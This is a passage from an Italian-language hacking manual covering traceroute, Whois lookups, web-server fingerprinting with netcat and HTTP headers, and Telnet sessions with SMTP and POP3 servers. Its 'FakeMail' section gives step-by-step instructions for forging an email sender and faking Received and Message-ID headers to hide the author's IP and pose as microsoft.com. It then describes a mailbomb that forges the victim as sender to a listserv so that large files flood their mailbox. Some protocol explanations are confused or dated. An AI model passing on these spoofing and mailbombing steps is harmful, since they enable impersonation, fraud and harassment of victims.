62 ms host37-11.pool217222.interbusiness.it
62 ms host2-138.pool81119.interbusiness.it
47 ms 212.162.64.228
Richiesta scaduta.
Richiesta scaduta.
Nella prima colonna troviamo il numero del nodo attraversato. Successivamente
vi sono tre diverse rilevazioni dei tempi impiegati per raggiungere il nodo.
57
Queste possono variare notevolmente a seconda del traffico di rete.
Infine troviamo l'indirizzo IP del nodo e il suo eventuale nome recuperato
attraverso i server DNS.
Cosa notiamo di interessante?
Il nodo numero 3 presenta nella prima parte del nome la stringa r-bo74-bo83 in
cui bo assomiglia tanto alla sigla della provincia di Bologna. I nomi della rete
Interbusiness di Telecom Italia adottano questa convenzione e la cosa è
confermata dal successivo nodo in cui troviamo r-rm213-bo74: probabilmente
un server nei pressi di Roma che collega la tratta verso Bologna.
Il nodo 6 risulta ancora più esplicativo. (pomezia)
I nodi contraddistinti da una richiesta scaduta sono macchine che non rispondo
ad una richiesta di traceroute e possono essere considerati Firewall.
Un altro esempio questa volta verso un server localizzato negli USA:
tracert www.grc.com
Rilevazione instradamento verso grc.com [204.1.226.226]
su un massimo di 30 punti di passaggio:
1 62 ms 47 ms 62 ms 192.168.100.1
2 46 ms 63 ms 47 ms host1xx-70.pool8021.interbusiness.it
[80.21.70.1xx]
3 47 ms 47 ms 62 ms r-bo74-bo83.opb.interbusiness.it [151.99.101.121]
4 47 ms 63 ms 62 ms r-rm213-bo74.opb.interbusiness.it [151.99.101.197]
5 47 ms 63 ms 62 ms r-rm83-vl3.opb.interbusiness.it [151.99.29.139]
6 140 ms 141 ms 156 ms pal9-ibs-resid-4-it.pal.seabone.net
[195.22.218.45]
7 234 ms 250 ms 250 ms mia1-pal8-racc3.seabone.net [195.22.197.50]
8 250 ms 250 ms 266 ms POS3-0.IG2.MIA4.ALTER.NET [65.208.85.113]
9 234 ms 250 ms 250 ms 0.so-2-0-0.xl1.mia4.alter.net [152.63.7.221]
10 250 ms 250 ms 250 ms 0.so-0-0-0.tl1.atl5.alter.net [152.63.10.102]
11 250 ms 266 ms 250 ms 0.so-1-3-0.tl1.chi2.alter.net [152.63.70.29]
12 250 ms 250 ms 266 ms 0.so-7-0-0.xl1.chi2.alter.net [152.63.68.81]
13 266 ms 265 ms 250 ms pos6-0.br3.chi2.alter.net [152.63.68.1]
14 250 ms 266 ms 250 ms 204.255.174.234
15 296 ms 313 ms 312 ms p16-1-1-1.r21.snjsca04.us.bb.verio.net
[129.250.5.132]
16 313 ms 312 ms 313 ms p16-1-1-1.r21.lsanca01.us.bb.verio.net
[129.250.2.186]
17 313 ms 312 ms 297 ms ge-1-2.a04.lsanca01.us.da.verio.net
[129.250.29.65]
18 *
*
* Richiesta scaduta.
19 *
*
* Richiesta scaduta.
58
Whois
Whois è un vero e proprio protocollo che permette di accedere a due principali
tipi di database online: uno relativo allo spazio degli indirizzi IP e l'altro ai nomi
di dominio entrambi registrati da opportuni enti. Si noti bene che a differenza dei
server DNS che sono essenziali per il corretto funzionamento di internet, i server
Whois offrono un servizio puramente informativo.
IP Whois
Agli albori di internet gli indirizzi IP venivano assegnati ai richiedenti da IANA
(Internet Assigned Numbers Authority) senza particolare ordine. Con il passare
del tempo si è pensato di razionalizzare questa distribuzione e di suddividere tra
quattro organizzazioni su base geografica la gestione e la registrazione degli IP
non ancora assegnati:
•
•
•
•
ARIN per il Nord America
RIPE NCC per l'Europa
APNIC per l'Asia e la zona del Pacifico
LACNIC - per l'America meridionale e la zona caraibica
Ad ognuna di queste organizzazioni sono stati assegnati grossi blocchi di
indirizzi IP di cui sono unici responsabili. Questa suddivisione regionale è
consultabile in questo documento http://www.iana.org/assignments/ipv4-addressspace. Come si può notare analizzandone il contenuto sono comunque molte le
zone assegnate direttamente a grosse società USA e quelle gestite da più enti
contemporaneamente.
Ognuna delle organizzazioni di cui sopra rende disponibile un servizio Whois
relativo alla propria zona consultabile via web.
Quello di RIPE, relativo all'Europa, è disponibile all' indirizzo
http://www.ripe.net/db/whois/whois.html ed è quello che verrà utilizzato di
seguito.
A cosa ci può servire una interrogazione ad un server IP Whois?
La risposta la otteniamo facilmente analizzando un esempio. Quello che segue è
il risultato di una richiesta di informazioni per l'indirizzo 192.138.228.1 (sono
state eliminate alcune voci per rendere l'output più leggero):
inetnum:
192.138.228.0 - 192.138.228.255
netname:
SIEMENS-NET
descr:
Siemens AG Oesterreich
descr:
Abt. PSE RD
country: AT
admin-c: AF2545-RIPE
tech-c:
AS65-RIPE
59
tech-c:
AS3750-RIPE
mnt-by:
RIPE-NCC-LOCKED-MNT
status:
NOT-SET
changed:
[email protected] 19920525
changed:
[email protected] 19920527
changed:
[email protected] 19931021
changed:
[email protected] 19950620
changed:
[email protected] 19990706
changed:
[email protected] 20000225
changed:
[email protected] 20030116
changed:
[email protected] 20040503
source:
RIPE
route:
192.138.228.0/24
descr:
Siemens AG
origin:
AS8971
remarks:
Siemens AG
mnt-by:
AS8971-MNT
changed: [email protected] 20020603
source:
RIPE
role:
person:
... interrotto
... interrotto
Da una rapida analisi scopriamo subito che tale indirizzo fa parte di una rete
assegnata alla nota società tedesca Siemens (campo netname: e descr:).
Altra osservazione importante è che l'IP fa parte dell'intervallo di indirizzi
92.138.228.0-192.138.228.255 (campo inetnum:) tutto assegnato alla stessa
azienda. Questo non significa che siano tutti utilizzati ma semplicemente che tale
blocco risulta essere registrato a nome Siemens che potrà usarlo liberamente.
Altra informazione che possiamo estrapolare dai dati forniti si trova nel campo
country:, qui troviamo AT che significa Austria. Contrariamente a quanto si
poteva immaginare quindi tale indirizzo appartiene ad una rete austriaca e non
tedesca.
Per un elenco delle sigle (Country Code) delle nazioni si può consultare il
seguente documento: http://www.iana.org/cctld/cctld-whois.htm
Completano il quadro una serie di riferimenti a persone responsabili della
registrazione della rete (role: e person:)Si fa notare infine la presenza di un
pulsante "Advanced Search" sulla pagine whois di RIPE che consente di ottenere
ricerche più mirate. Interessante è la voce "Alternative Database" che permette di
fare ricerche su server Whois diversi da RIPE. Questo si rivela indispensabile se
l'IP è extraeuropeo e la ricerca normale non ha avuto successo.
60
Domain Whois
Questo genere di server Whois contiene le registrazioni dei nomi di dominio
invece che delle reti.
Ogni nazione possiede un proprio NIC (Network Information Center) il cui sito
mette a disposizione un servizio di registrazione e di ricerca dei propri domini. I
siti relativi a tali enti nazionali possono essere raggiunti seguendo i link di questa
pagina: http://www.iana.org/cctld/cctld-whois.htm.
Per quanto riguarda i domini generici come .com, .org, .edu etc si può consultare
la pagina http://www.iana.org/gtld/gtld.htm.
Dopo aver scelto la voce di interesse dalle pagine indicate selezionare il link
"URL for registration services" per accedere al sito del NIC relativo.
Qui potremo accedere, oltre che alle opzioni di registrazione, anche a quelle di
Whois.
Quali sono le informazioni ricavabili da questo genere di ricerche?
Proviamo ad andare sulla pagina di ricerca del NIC italiano
http://www.nic.it/SR e ad inserire html.it.
Questa è la risposta:
domain:
html.it x400-domain: c=it; admd=0; prmd=html;
org:
HTML.it Srl
org-unit: HTML.it Srl
descr:
HTML.it Srl
admin-c: MV943-ITNIC
tech-c:
DS287-ITNIC
postmaster: DS287-ITNIC
zone-c:
DS287-ITNIC
nserver: 212.110.0.190 dns1.grapesnet.net
nserver: 212.90.2.112 dns2.grapesnet.net
dom-net: 212.110.0.0
mnt-by:
GRAPESNET-MNT
created: 19980805
expire:
20050115
changed: [email protected] 20031210
source:
IT-NIC
person:
Massimiliano Valente
... interrotto ...
source:
IT-NIC
person:
Domain Staff
address: Grapes Network Services SpA
... interrotto ...
source:
IT-NIC
61
Come si può vedere otteniamo il nome della società che possiede il nome di
dominio (campo org:), gli indirizzi e i nomi dei server DNS registrati come
autoritativi per il dominio (nserver:), il nome del mantainter del dominio (mntby:), la data di registrazione e di scadenza (created: ed expire:) oltre ai dati di
una persona referente per il dominio e per il mantainer (person:).
Una ultima nota pratica: essendo molti i NIC a cui fare riferimento può risultare
decisamente più comodo consultare uno dei tanti siti che in modo trasparente
provvedono ad interrogare l'opportuno server Whois in base alla richiesta
effettuata. Uno di questi è http://www.allwhois.com
Risorse Online
Alcune pagine web che forniscono utili strumenti online:
http://www.utrace.de/
http://www.whatismyip.com/tools/
http://www.all-nettools.com/toolbox
http://www.kloth.net/services/
http://www.all-nettools.com/toolbox
http://tatumweb.com/iptools.htm
Tre Strumenti per analizzare il protocollo HTTP e scoprire il server remoto
L’information gathering è la prima fase di un attacco. Si tratta di un’operazione
finalizzata alla raccolta del maggior numero possibile di informazioni
sull’obiettivo da poter utilizzare per lo sviluppo di una strategia di attacco.
Se l’attacco è rivolto ad un web server le informazioni fondamentali da scoprire
saranno il tipo di web server e la versione.
In base a queste informazioni si potrà sviluppare il piano di attacco.
Per esempio, se il server fosse un Apache molto probabilmente la piattaforma sarebbe Linux e utilizzerebbe PHP come linguaggio per le web application;
se invece il server remoto venisse identificato come Internet Information Server
della Microsoft la piattaforma sarebbe sicuramente Windows e le web aplication
sarebbero scritte in ASP/.NET.
Il metodo più semplice per ottenere queste informazioni è chiederle al server!
Ogni volta che consultiamo una pagina web il server, in modo trasparente per
l’utente comunica con il browser tramite un “linguaggio” (un protocollo per essere più precisi) chiamato HTTP. Un particolare frammento di questi dati HTTP
(pacchetti di dati) denominato “header” (intestazione) contiene tutte queste informazioni.Come visualizzarle? Esistono diversi metodi. Quello più sofisticato è
quello di lanciare uno sniffer sulla propria macchina (come tcpdump o Wireshark), catturare un po’ di dati mentre si naviga comodamente in rete col
browser e analizzarli successivamente filtrando i dati con il protocollo HTTP.
62
Esistono altri metodi più immediati, come estensioni Firefox e siti web che offrono strumenti in grado di effettuare questo tipo di attività. E poi ci sono gli
strumenti da linea di comando come netcat. Vediamo in dettaglio.
1) TcpQuery
Il primo strumento che presento è TcpQuery.
(http://hexillion.com/asp/samples/AspTcpQuery.asp)
Il funzionamento è molto semplice. Basta inserire l’indirizzo del web server da
analizzare nella text-box etichetta “server”; nell’altra text-box è già presente la
stringa HTTP: GET / HTTP/1.0. Cliccando su GO si avvia l’interrogazione.
Proviamo con il server www.libero.it. Il risultato è il seguente:
HTTP/1.1 200 OK
Date: Wed, 06 Aug 2008 20:51:16 GMT
Server: Apache
Set-Cookie: Libero=xx.84.211.xx.1218055876475336; path=/;
expires=Wed, 24-Nov-10 20:51:16 GMT; domain=.libero.it
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
di seguito tutto il corpo html sorgente. Utilizzando il comando HEAD /
HTTP/1.0 al posto di GET / HTTP/1.0, ovvero sostituendo GET con HEAD si
ottiene solo l’intestazione, che è quello che ci interessa.
Analizziamo la risposta. La prima riga “HTTP/1.1 200 OK” ci comunica che la
pagina è stata trovata (codice HTTP 200); se la pagina non fosse stata trovata avremmo avuto come risultato un codice 404, Page Not Found.
Di seguito vediamo l’ora del server (Date: Wed, 06 Aug 2008 20:51:16 GMT), il
tipo di server (Server: Apache) e la versione di PHP utilizzata (X-Powered-By:
PHP/5.1.6)
2) Live HTTP Header (estensione Firefox)
La stessa cosa si può fare con un’estensione Firefox: Live HTTP Header. La
procedura è molto più semplice. Dopo avere installato l’estensione basta aprire la
finestra di Live HTTP Header mentre si naviga normalmente( visualizza – barra
laterale – spuntare Live HTTP ) e tutti gli header HTTP verranno “sniffati” (sia
del server sia del client) e mostrati a video. Questo strumento è molto utile in
particolar modo per il debug di web applications.
Questo è un esempio effettuato sempre con libero.it:
HTTP/1.x 200 OK
63
Date: Wed, 13 Aug 2008 20:17:38 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
3) Netcat
Netcat è da anni uno degli strumenti più apprezzati dagli hacker e le sue possibilità vanno ben oltre l’interrogazione di un web server. Ormai si trova in praticamente tutte le distribuzioni Linux (Unix in generale). Esiste anche una versione
per Windows scaricabile da http://www.megalab.it/5001/con-netcat-controlli-egestisci-al-meglio-i-pc-della-tua-rete
Scaricate il file in una cartella ed estraetene il contenuto, copiate il file nc.exe
nella cartella Windows o Windows\system32 in modo che sia sempre disponibile
da qualsiasi cartella voi lo avviate. Per gestire i PC da remoto questa operazione
deve essere compiuta su entrambi i PC). Eseguire i comandi dalla dos (cmd)
ATTENZIONE: Alcuni antivirus identificano nc.exe come Virus (Hacking Tool)... in effetti Netcat è utilizzato anche dagli Hacker e Cracker, proprio per la
sua flessibilità e semplicità d'uso
Per gli scopi di questo articolo può essere utilizzato nel modo seguente:
si apre una shell e si digita
nc www.libero.it 80 -vv
quando la connessione viene stabilita vedremo una stringa simile a questa
vs-fe.iol.it [195.210.91.83] 80 (http) open
e quindi digitiamo la stringa del comando HTTP :
HEAD / HTTP/1.0 e poi due volte invio.
HTTP/1.1 301 Moved Permanently
Date: Thu, 07 Aug 2008 14:28:27 GMT
Server: Apache
Location: http://www.libero.it/
Connection: close
Content-Type: text/html; charset=iso-8859-1
Esiste un altro strumento, disponibile su tutti i computer: telnet. Se si utilizza
telnet la procedura è identica a quella per netcat. In alternativa si possono utilizzare client esterni come Putty, ottimo e flessibile client telnet/ssh.
64
Telnet
Attiviamo il comando Telnet su Windows 7 e Windows vista!
La prima cosa da fare è quella di aprire il pannello di controllo - programmi e
funzionalità del vostro Windows 7.
A questo punto, sulla barra di sinistra cliccate su Attivazione e Disattivazione
delle funzionalità di Windows. Si aprirà una nuova finestra e spuntate le caselle
vicino alle voci: Telnet Client,Telnet Server (opzionale). A questo punto, confermate l’operazione e aspettate alcuni minuti che sia installato il servizio. Una
volta completata l’installazione tramite il prompt dei comandi, potrete utilizzare
il Telnet.
Telnet non e` altro che un servizio di banca dati, con messaggi, programmi e cose del genere, proprio come nelle vecchie BBS. (o Bulletin Board System) è un
computer che utilizza un software per permettere a utenti esterni di connettersi a
esso attraverso la linea telefonica, dando la possibilità di utilizzare funzioni di
messaggistica e file sharing centralizzato.
Ma perche` utilizzare proprio Telnet?
In realta`, un client Telnet fa poco piu` che collegarsi a un server, inviargli tutto
quello che scrivete e mostrarvi tutto quello che riceve dal server.
Puo` in effetti sostituire (limitatamente) un qualsiasi altro client.
Un esempio: quando usate un browser (Netscape, Explorer, ecc.) per collegarvi
ad un sito Web, il programma non fa altro che svolgere una sessione Telnet.
In parole semplici: invia un comando simile a "dammi il file xxxxx" e aspetta
che il server glielo invii.
Lo stesso accade con FTP, e in modo appena diverso per la posta elettronica.
Come vediamo, quindi, usando Telnet noi possiamo impersonare un qualsiasi
programma client, parlando al server e leggendo le sue risposte.
Ma per quale motivo dovremmo farlo?
Soffermiamoci un momento su questa cosa: un servizio, ad esempio e-mail,e`
stato progettato perche` dall'altro capo della connessione ci sia un programma
client che segua certe regole (ad esempio Eudora per la posta).
Alcuni esempi: sovvertendo e-mail si puo` inviare posta elettronica "falsa"(detta
FakeMail) che sembri provenire da chiunque noi vogliamo, sovvertendo il Web
si puo` crashare (da "crash": distruggere, in senso virtuale) un server, con FTP si
65
puo` ottenere un livello di anonimita` elevatissimo ed e` possibile infiltrarsi anche dove non si e` desiderati, e cosi` via; per praticamente ogni servizio esistente
vi sono delle tecniche applicabili.
E infine, con quasi tutti i servizi (e in particolar modo con la SMTP)esistono dei
modi per ottenere il tanto agognato accesso "root", in pratica il livello dell'amministratore di sistema (detto SysAdmin) che puo` fare *qualsiasi* cosa: creare,
aggiungere o eliminare account, file e directory,utenti con qualsiasi livello d'accesso, leggere la posta e i file degli utenti, attivare e disattivare servizi, modificare programmi...
TELNET E SMTP (FakeMail)
Supponiamo di voler, per un motivo qualsiasi, inviare una e-mail a qualcuno facendo sembrare che essa sia stata mandata da qualcun altro.
Vediamo in pratica come funziona la tecnica delle FakeMail (che tra l'altro e`
applicabile, in modo diverso, anche alle news).
Il motivo per cui la studieremo e` che provandone il funzionamento, ne approfitteremo per imparare ad utilizzare Telnet e soprattutto SMTP, ovvero il servizio
della posta in uscita.
Questa e` infatti la base per capire come funzionano molte delle tecniche piu`
utilizzate, e vi permettera`, quando sarete padroni della materia, di implementarne di nuove.
Iniziamo dunque imparando ad usare Telnet.
Usandolo per collegarvi a un sito semplicemente inserendo un host name, vi collegherete al servizio Telnet. Ma abbiamo detto che non e` questo il nostro obiettivo. A noi interessa il servizio SMTP. Dunque, come fare per accedervi?
Bisognera` inserire, oltre all'indirizzo del server a cui vogliamo collegarci, anche
un numero di "porta". Ma cos'e` una porta?
Se riflettete, ogni server ha un unico indirizzo "centrale" (nome.com) ma gestisce
molti servizi (web, ftp, posta...). Di conseguenza dovrebbe avere altrettanti
server su altrettanti indirizzi diversi.
Per evitare un proliferare di indirizzi inutili esistono le porte, in pratica nient'altro
numeri a cui sono associati i vari servizi.
Vogliamo collegarci a SMTP? Basta utilizzare la porta 25. Ci interessano le
news? La porta e` 119. Oppure FTP, porta 21... sono tutti numeri "fissi" (standard) e quindi, tranne in rarissimi casi, collegandosi - per esempio - alla porta 25
ci rispondera` sempre SMTP.
66
NOTA: se avete Windows potete leggere il file "services", contenente i numeri
delle porte piu` usate. Il file si trovera` nella directory di Windows.
Ora che abbiamo chiarito il discorso delle porte, supponiamo di volerci collegare
a SMTP usando Telnet. Scegliamo un server qualsiasi (sono davvero rari i casi
in cui un server non gestisca la posta) e, in base al programma usato, dovremmo
operare differentemente.
La maggior parte di essi funziona in questo modo: per collegarsi a SMTP del
server prova.it
Vediamo un esempio di spedizione e ricezione di email, puntualizzando i passaggi.
Supponiamo che [email protected] mandi una mail a
[email protected], con telnet
Da esegui telnet ok si apre il prompt del dos
bisogna inserire:
o smtp.vega.it 25 come nome del server.
Alcuni invece prevedono l'uso dei due punti per delimitare nome e porta, la “o”
sta per open.
Dunque, una volta connessi a leonardo.it:25 avremo un messaggio di questo tipo:
220 ispout3.email.it ESMTP
Il server sta ora aspettando comandi da parte nostra.
La prima cosa da fare e` identificarsi, e cio` va fatto con il comando HELO
in questo modo:
HELO vega.it
NOTA: usando Telnet *NON* e` possibile cancellare. Quindi digitate senza
fretta, e se proprio sbagliate riavviate la connessione e ripetete tutto,oppure - in
alcuni casi - puo` essere sufficiente premere invio e riscrivere la riga da zero.
Non cancellate, anche se sembra funzionare. I risultati
possono essere imprevedibili e potreste rivelare la vostra identita`.
Talvolta e` possibile inserire un nome falso, ma i nuovi server conoscono gia` il
vostro IP Address quando vi collegate, quindi tanto vale inserire il vero nome.
La risposta sara`:
250 vega.it Hello NOMEPROVIDER.IT, pleased to meet you
A questo punto dovremo dire al server qual'e` il nostro indirizzo di e-mail.
Usiamo allo scopo il comando "MAIL FROM" e digitiamo:
67
MAIL FROM: <[email protected]>
...ovviamente l'indirizzo da inserire e` quello falso =)
Il server rispondera` con un messaggio. Se avremo sbagliato qualcosa, sara`un
messaggio d'errore, e dovremo ripetere l'immissione. Non omettere le parentesi
angolari.
Usiamo il comando "RCPT TO" e scriviamo:
RCPT TO: <[email protected] >
Non omettere le parentesi angolari.
Il server rispondera` con un altro messaggio.
Ed ora che abbiamo definito sorgente e destinazione passiamo all'invio delle intestazioni e del corpo del messaggio.
Avvisiamo il server che siamo pronti, scrivendo:
DATA
e il server ci dira` di scrivere il messaggio e di concludere con un punto su una
riga vuota.
Fermiamoci un attimo. In ogni e-mail esistono delle intestazioni (headers)che si
trovano prima del corpo del messaggio vero e proprio. Il loro scopo e` elencare
tutti i computer attraverso i quali e` passato il messaggio,nonche` il nostro IP
Address! Cio` potrebbe rivelare la nostra identita` a un hacker o a un SysAdmin
esperto. Per evitarlo, digitiamo:
Received: by nomeprovider.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58
dove nomeprovider.it e` il nome del vostro provider (quello che avete usato con
HELO) e l'ultima parte (Sun, 12 Oct...) e` la data in formato standard.
ID AA11212 va cambiato. Potete mettere un numero qualsiasi (possibilmente
che inizi con AA1 piu` altre 4 cifre, per farlo sembrare piu` reale).
Si tratta solo di un numero di serie del server, niente di importante.
Ora dobbiamo digitare:
Message-ID: <[email protected]>
Cio` serve a far credere che il messaggio sia partito effettivamente dal server
"microsoft.com" con l'ID AA11345 (puo` essere un numero qualsiasi,purche`
NON uguale a quello inserito prima con l'intestazione "Received:").
68
Inseriamo ora di nuovo il destinatario, la data e il soggetto della e-mail:
To:
Date: Sun, 12 Oct 97 11:30:27
Subject: questa e` una prova...
Lasciamo uno spazio e scriviamo il messaggio che vogliamo inviare (lungo
quanto vogliamo). Per concludere il messaggio lasciamo due righe vuote,digitiamo un punto, premiamo invio, scriviamo QUIT e invio.
La FakeMail verra` inviata automaticamente dal server, e noi possiamo anche
chiudere Telnet.
E` importante inviare a se stessi dei messaggi di prova per vedere se il server
scelto ha ricevuto i dati correttamente, se non sono stati commessi errori e, soprattutto, per vedere se il proprio IP Address si trova in mezzo alle intestazioni
"Received:", oppure (sbagliato) alla fine.
Ora che sappiamo come fare ad inviare una FakeMail, possiamo passare al passo
successivo: usare le FakeMail per far danni... vogliamo seppellire la mailbox di
qualcuno?
Creiamo una normale FakeMail con il metodo spiegato sopra, ma come mittente
dovremo inserire l'indirizzo e-mail della vittima e come destinatario usiamo un
"listserv" (come ad esempio [email protected]).
Un Listserv e` un programma che invia programmi tramite e-mail nel caso non si
riesca a prelevarlo via FTP.
Se ad esempio sappiamo che nella directory "mieifiles" del server pluto.it c'e` un
file di 20 megabyte il cui nome e` "enorme.gz" possiamo fare in modo che quei
20 MB vengano inviati sotto forma di testo nella e-mail della nostra vittima...
Nell'esempio di cui sopra, dopo aver scritto i primi comandi della FakeMail, arrivati a "Subject:" scriviamo quanto segue:
REPLY [email protected]
CONNECT pluto.it anonymous [email protected]
BINARY
GET mieifiles/enorme.gz
QUIT
e concludiamo quindi con le due righe vuote, il punto, QUIT, ecc.
69
Ecco la spiegazione passo passo:
REPLY indica l'indirizzo e-mail a cui rispondere
CONNECT specifica il nome del provider a cui collegarsi e l'account da usare
BINARY specifica un file di tipo binario (non va cambiato)
GET specifica il nome del file da prelevare (completo di eventuali directory)
QUIT termina la connessione
Ovviamente, se dopo GET anziche` QUIT usiamo altri GET, il risultato sara`
molto piu` dannoso. Nel caso di un file di 20 MB, riscrivendo altre 10volte il
comando "GET ..." verranno mandati un totale di ben 200 megabyte al povero
utente destinatario!
E poiche` i server di e-mail spezzano i messaggi in tanti piccoli messaggi,la vittima riceverebbe migliaia e migliaia di messaggi...
Telnet per spedire la posta in pratica
Telnet è il principale protocollo di Internet per realizzare delle connessioni con
macchine in remoto. Da la possibilità di essere fisicamente sul proprio sistema e
lavorare su un altro che può essere nella stanza accanto come dall'altra parte del
mondo, la propria macchina (locale) diventa così un terminale remoto: tecnicamente l'operazione è definita Remote Login.
Esistono due tipi di server per la posta elettronica: SMTP e POP3 che potrebbero
anche essere la stessa macchina. SMTP è la sigla che indica i server di posta in
uscita, POP3 i server di posta in entrata. In poche parole, con un server SMTP si
mandano le email, con un server POP3, invece, si ricevono le email sul proprio
computer client.
Il nostro client può inviare la nostra missiva grazie ad una opportuna sessione
Telnet, tramite questa si manda il nostro messaggio al server SMTP il quale a sua
volta lo manda al server POP3 di destinazione e, tramite una sessione Telnet
compiuta dal ricevente, è possibile scaricarla nel computer client dell'amico che
riceverà la lettera elettronica.
Definiamo anche cos'è un HOST, un HOST non è altro che un codice alfanumerico che identifica un computer in rete, per esempio pp1518.actarus.it è un Host,
esso ci serve per distinguere quel computer da tutti gli altri che si trovano in rete.
Ad ogni Host corrisponde un indirizzo IP.
Vediamo un esempio di spedizione e ricezione di email, puntualizzando i passaggi.
70
Supponiamo che [email protected] mandi una mail a [email protected], il computer client di actarus apre una sessione Telnet e manda la mail attraverso il server
di posta in entrata di tipo SMTP smtp.vega.it. Il server SMTP la recapita al
server di posta in uscita di tipo POP3 venus pop.venus.it il quale a sua volta lo fa
ricevere a Venusia sul suo client tramite una propria sessione Telnet.
Tutti i passaggi che un messaggio ha subito da un server all'altro compaiono negli 'Headers'. Fatta questa breve descrizione generale di come avviene la spedizione di una email, vediamo il comando telnet nella sua essenza.
La sintassi per connettersi ad un servizio qualsiasi è la seguente:
telnet provider.it porta
Un server ha un nome unico (es: pippo.it), ma ad ogni servizio che esso offre è
associata una corrispettiva porta:
(es. 25 SMTP, 21 FTP, 110 POP3, 119 NNTP etc.), quindi se ci colleghiamo
alla porta 25 ci risponderà (sempre perché è un numero unico valido per tutti i
server) il servizio SMTP, ovviamente il servizio deve essere attivo sul server
cioè ci deve essere "qualcuno" in ascolto sulla porta 25.
Per collegarci a un server SMTP del provider Libero.it, digiteremo telnet
smtp.vega.it 25.
Comandi SMTP
Una volta che ci siamo connessi al server smtp possiamo cominciare a digitare
comandi. Eccone una lista:
HELO vega.it
Questo comando serve per salutare il server SMTP il quali ci riconoscerà dal nostro IP. Il server SMTP non permette l'autenticazione, per questa funzione accorre usare il server POP3 che vedremo più avanti.
MAIL FROM: <[email protected]>
Questo comando serve per indicare l'indirizzo email del mittente, è nostra cura
dare l'email esatta, in caso contrario il destinatario potrà non riconoscerci. Non
omettere le parentesi angolari.
RCPT TO: <[email protected]>
Questo comando serve per indicare l'indirizzo email del destinatario. Anche qui
non omettere le parentesi angolari.
71
DATA
A questo comando segue una riga vuota che va riempita con la prima riga del nostro messaggio, per terminare l'inserimento è sufficiente una riga contenete il solo punto: ".".
VRFY: <[email protected]>
Questo comando serve per accettarsi dell'esistenza di un indirizzo email.
HELP oppure HELP <comando>
Fornisce la lista dei comandi disponibile oppure da informazioni su un singolo
comando.
Vediamo una sessione di Telnet per spedire una email, supposto che l'autenticazione sia già stata fatta, in caratteri monospace e in grassetto i comandi da digitare e di seguito la risposta del server.
Supposto di avere un programma di posta elettronica normale tipo Mozilla,
Thunderbird o OutLook, ci autentichiamo facendo un semplice "get message"/"scarica la posta" sul nostro account di posta, in alternativa ci si può autenticare con telnet tramite una sessione di collegamento al POP3 che vedremo più
avanti.
SESSIONE SMTP:
telnet smtp.vega.it 25
Trying 100.99.198.97...
Connected to vega.it.
Escape character is '^]'.
220 vega.it ESMTP Sendmail 8.12.9 ready at Sun, 01 Sep 2003 00:00:00 +0200
(CEST)
helo vega.it
250 vega.it Hello <Nome del proprio pc> [<IP del proprio pc>], pleased to meet
you
help
214-2.0.0 This is sendmail version 8.12.9
214-2.0.0 Topics:
214-2.0.0
HELO EHLO MAIL RCPT DATA
214-2.0.0
RSET NOOP QUIT HELP VRFY
214-2.0.0
EXPN VERB ETRN DSN AUTH
214-2.0.0
STARTTLS
214-2.0.0 For more info use "HELP <topic>".
214-2.0.0 To report bugs in the implementation send email to
72
214-2.0.0
[email protected].
214-2.0.0 For local information send email to Postmaster at your site.
214 2.0.0 End of HELP info
mail from: <[email protected]>
250 2.1.0 <[email protected]>... Sender ok
rcpt to: <[email protected]>
250 2.1.5 <[email protected]>... Recipient ok
data
354 Enter mail, end with "." on a line by itself
subject: Importante!
ciao!
Ci vediamo stasera?
baci.
.
250 2.0.0 <codice del messaggio> Message accepted for delivery
quit
221 2.0.0 vega.it closing connection
Connection closed by foreign host.
Se non abbiamo eseguito l'autenticazione il server ci risponderà con:
550 5.7.1 [email protected]... SMTP relay denied, authenticate via POP/IMAP
first
Avrete sicuramente notato che siete stati voi a inserire il mittente che può essere
così facilmente falsificato. Fate attenzione che il server SMTP comunque aggiunge agli header dell'email il vostro indirizzo IP.
Notate infatti che come risposta del saluto "helo", il server smtp vi dice il nome
del vostro computer e anche l'IP, questi dati verranno aggiunti alla vostra email
dal server e quindi la ricevente li potrà vedere. Al massimo potete confondere la
mittente aggiungendo dei dati fasulli all'interno del comando "data" ma un occhio esperto capirà che siete stati voi a spedire la missiva. (Per risalire al computer che ha mandato la email è spesso, ma non sempre, necessario ricorrere a dati
sensibili e quindi solo la magistratura può in pratica risalire a voi).
Comandi POP3
Connettiamoci al nostro ISP con telnet, esattamente al suo server di posta in entrata:
73
telnet pop.venus.it 110
la porta 110 è ovviamente quella del server che ci da il sevizio POP3.
Ecco la lista dei comandi:
user venusia
pass segreto
(il nostro nome utente e la nostra password.)
LIST oppure STAT
per ottenere la lista e la dimensione dei messaggi, List da la lista completa mentre Stat da il valore complessivo.
RETR: <nr del messaggio>
per leggere il messaggio desiderato.
TOP <nr del messaggio> <nr righe da vedere>
permette di vedere solo le prime nr righe del messaggio nr.
DELE: <nr del messaggio>
per cancellare un messaggio. Anche se esso viene effettivamente eliminato solo
dopo essere usciti dalla connessione con QUIT.
RSET
per eliminare la marcatura fatta con "DELE". All'uscita, "QUIT", non verrà cancellata alcuna email.
QUIT
la connessione termina e vengono cancellati i messaggi selezionati con DELE.
Ecco una sessione Telnet per prelevare la posta:
SESSIONE POP3:
telnet pop.venus.it 110
Trying 193.70.192.70...
Connected to pop.venus.it.
Escape character is '^]'.
+OK POP3 server ready (7.0.019) <[email protected]>
user venusia
+OK Password required
74
pass segreta
+OK 4 messages
list
+OK
1 871
2 6533
3 3980
4 743
.
fornisce la lista delle email in ordine di arrivo al server pop3 e la loro lunghezza
in byte
retr 4
+OK 743 bytes
Return-Path: <[email protected]>
Received: ....
Date: Sun, 01 Sep 2003 00:00:00 +0200 (CEST)
From: [email protected]
Message-Id: <<codice del messaggio>@vega.it>
subject: Importante!
ciao!
Ci vediamo stasera?
baci.
.
abbiamo scaricato l'ultimo messaggio che è arrivato al server: il numero 4 da
743 byte.
dele 4
+OK message marked for deletion
stat
+OK 3 11384
3 messaggi rimanenti con la lunghezza complessiva
quit
+OK POP3 server closing connection
Connection closed by foreign host.
solo all'uscita i messaggi marcati vengono cancellati
Come può servire oggigiorno o in futuro un sistema così antiquato? Le risposte
sono molteplici ma una può essere avere sotto controllo totale la posta. Praticamente può essere usato per cancellare i messaggi troppo grandi verificando le
75
prime linee in modo da essere certi che sia spam.
Senza dimenticare che tutti i mailer usano una sessione telnet per gestire la posta
